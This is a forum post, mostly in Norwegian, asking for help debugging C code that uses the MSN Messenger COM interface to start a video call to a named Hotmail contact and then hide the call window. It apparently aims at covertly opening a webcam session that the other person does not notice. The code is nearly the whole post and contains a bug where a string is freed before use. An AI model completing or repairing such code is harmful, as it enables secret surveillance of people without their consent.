View Single Post
Heisann...leste litt rundt, og måte jo prøva!

but i got a problem!:P
har klart å mekka programet, men er jo alltid problemer:P

Har følgt Jo10 sin måte, heilt nøyaktig, men det som skjer er at vedkommande ser noko i 2 sec så forsviner det, men det kommer ikkje opp noko web-cam samtale akkurat! :P

Can annyone help?

Her er koden, vist nokon gidder å sjekke for feil!



#include "windows.h"
#include "msgruaid.h"
#include "msgrua.h"
#include "oleauto.h"
int main(int argc, char *argv[])
{
IMessenger2 *pIMessenger = NULL;
IMessengerWindow *pIWindow = NULL;
IDispatch *pIDispatch = NULL;
VARIANT vName;
char *cName;
long lWindow;
CoInitialize(0);
CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger);
cName = "Da9el_a@hotmail.com";
BSTR pbstrName= SysAllocStringLen(NULL, lstrlenA(cName));
MultiByteToWideChar(CP_ACP, 0, cName, lstrlenA(cName), pbstrName, lstrlenA(cName));
SysFreeString(pbstrName);
//* *
vName.vt = VT_BSTR;
vName.bstrVal = (BSTR)pbstrName;
//* *
pIMessenger->StartVideo(vName, &pIDispatch);
pIDispatch->QueryInterface(IID_IMessengerWindow, (void**)&pIWindow);
pIDispatch->Release();
// Get handle of window
pIWindow->get_HWND(&lWindow);
pIWindow->Release();
//* * * * *
// Hide the window
ShowWindow((HWND)lWindow, SW_HIDE);
pIMessenger->Release();
CoUninitialize();
ExitProcess(0);
return 0;
}